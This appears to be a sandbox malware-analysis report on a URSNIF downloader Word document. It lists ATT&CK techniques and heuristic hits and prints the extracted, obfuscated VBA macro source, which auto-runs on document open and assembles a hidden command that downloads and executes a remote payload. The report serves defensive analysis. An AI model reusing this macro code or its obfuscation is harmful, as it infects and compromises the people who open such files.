MALICIOUS
222
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1059 Command and Scripting Interpreter
The sample contains VBA macros, including a Document_Open auto-execution macro, which is a common technique for malware delivery. The critical heuristic firing for Shell() call in VBA indicates that the macro attempts to execute an external command. ClamAV detection further confirms its malicious nature, identifying it as URSNIF, a known downloader family. The script's primary function appears to be downloading and executing a second-stage payload.
Heuristics 6
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ClamAV: Doc.Downloader.URSNIF-6729855-3 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.URSNIF-6729855-3
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VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
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Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
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Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
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VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 6423 bytes |
SHA-256: b86db82e910b167bb309538b884b991acc58171e2890dfa77c97949e926f5292 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "AllvOMTB"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On _
Error _
Resume _
Next
Second "395821486" + "342217374" + "EIWur" + "313644261"
Second "Vimr" + "anpNjfstq"
Second "KWCAZPIPUh" + "416930175" + "obAnGMJzFZoN" + "GvsF"
Second "86084626" + "CdwbUb" + "OZEULLD" + "z"
Second "322368232" + "8837"
Shell PnRkzQw + fidFPF + ZzPAtknVAkj, CStr(vbHide)
Second "l" + "lLVJIudX"
End Sub
Attribute VB_Name = "jOnLdYSf"
Function PnRkzQw()
On _
Error _
Resume _
Next
Second "mCSh" + "h" + "386609376" + "101517046"
Second "drA" + "FzBWGkXDPffKN"
FOBkvft = Format(Chr(18 + 0 + 14 + 9 + 58)) + "md /V" + ":" + "/" + Format(Chr(12 + 0 + 10 + 6 + 39)) + Format(Chr(5 + 0 + 4 + 2 + 23)) + "^se" + "^" + "t ^U"
Second "l" + "pQnHVBNrAPhN" + "fKKuODBAjYVi" + "PIX"
Second "n" + "1785" + "9320" + "355708104"
Second "2677965" + "L"
Second "8859" + "opz"
Second "137704104" + "8417"
vMHjrz = "K^" + "B" + "J=^" + " " + " ^ ^ " + "^" + " ^ " + "^ " + "^ " + "^ ^ "
Second "132397576" + "wMB"
Second "rS" + "894" + "8595" + "Hl"
Second "LAiJmRhbzTNzQV" + "j"
oVSTfQLaz = "^" + " }" + "^}{^" + "h" + Format(Chr(18 + 0 + 14 + 9 + 58)) + "^ta" + Format(Chr(18 + 0 + 14 + 9 + 58)) + "^}^;^" + "k^a^e" + "r^b;^k" + "vb^$ " + "met^I-" + "e^kovn^"
Second "1700" + "m"
Second "uSIR" + "CCTrzHnHQvuai"
YqqiOwrHk = "I^" + ";)^kv" + "b^$^ ," + "Tw^H^" + "$(e" + "^l^i" + "F^daoln" + "^w" + "oD^.jNz" + "^" + "$^" + "{^yr"
Second "z" + "1005" + "Wwnq" + "63015192"
Second "HGJaZD" + "1805"
Second "APwJ" + "37477815" + "fSrpKtTipV" + "2045"
Second "pkf" + "bCAEf"
FTbJAGQRK = "t" + "^{)" + "^G^" + "m^l^" + "$" + " n" + "^" + "i" + "^ ^" + "Tw^H^$(" + "h" + Format(Chr(18 + 0 + 14 + 9 + 58)) + "aer"
Second "178504350" + "mN"
Second "PfOuquNp" + "1317" + "4675" + "OJwZ"
Second "QAjGPoFowTNZw" + "IQmcuUzGpVGdQZ"
Second "3404" + "MZ"
nvVUjEwpwiX = "of;'e" + "xe.'+P^" + "dY^$" + "^+'\'" + "+" + Format(Chr(18 + 0 + 14 + 9 + 58)) + "il" + "bup^:" + "vne^" + "$"
Second "SZN" + "83531853"
Second "456667176" + "bjZz" + "6891" + "lG"
Second "iwwKKNz" + "XfrihzBpAjk" + "dnj" + "rUPRQQISvCiZJ"
Second "348223645" + "FpNARi"
Second "154432135" + "426970889"
cBoQw = "=^k" + "vb$^;'^" + "8" + "6^2" + "' ^=" + " ^P" + "^d^Y^$" + "^;)^'"
Second "nFnXzk" + "HGqPDSqw" + "UHXZnf" + "cfO"
Second "3672" + "nwrJG"
Second "440736026" + "nPEd" + "KjJisQ" + "413250783"
OMpBarZtUG = "@'(^" + "t^" + "il" + "^p^S." + "'^F"
Second "Qfn" + "jin"
Second "65712580" + "c" + "zBzjZSZvpzvW" + "vpR"
Second "2184" + "PsSpj" + "7869" + "169444804"
Second "rtbh" + "tIoLrkVcUqml" + "8896" + "HK"
Second "SAfCvT" + "9070" + "FY" + "488034354"
TcXXjrEjXvE = "H^" + "4^9rr" + "^t" + "U" + "/r^" + "i.^" + "gnar" + "u^o/" + "/:p^" + "t^th@"
Second "328180639" + "qWQ"
Second "LzFfd" + "5737" + "urjZ" + "316671595"
Second "7178" + "4226" + "1226" + "zhzViLD"
Second "IqiqlT" + "7274"
Second "Ft" + "BXzF"
PctSMRAj = "9TR^d" + "^3" + "f" + "T6" + "/^a^u" + ".p^d.a" + Format(Chr(18 + 0 + 14 + 9 + 58)) + "^il^es" + "ovo" + "n//^:" + "^ptt" + "^h@v^mT" + "dvJ/mo" + Format(Chr(18 + 0 + 14 + 9 + 58))
PnRkzQw = FOBkvft + vMHjrz + oVSTfQLaz + YqqiOwrHk + FTbJAGQRK + nvVUjEwpwiX + cBoQw + OMpBarZtUG + TcXXjrEjXvE + PctSMRAj
Second "385788065" + "116672357"
Second "iOvwwbG" + "N" + "1183" + "NOcjS"
End Function
Function fidFPF()
On _
Error _
Resume _
Next
Second "TJD" + "bHj" + "Di" + "iFTDr"
Second "VbokqVMr" + "uFEQ"
Second "wCJudFam" + "tMHLztz"
FJYRtRJ = "^.^y" + "n" + "^" + "a^p^m^" + "o" + Format(Chr(18 + 0 + 14 + 9 + 58)) + "-" + "nny^"
Second "9068" + "9131"
Second "fzipXpC" + "TcpFFtHqJKQwJ"
Second "496444163" + "GjlmMkFRnG" + "KD" + "MTS"
Second "mfLj" + "wzd"
Q
... (truncated)
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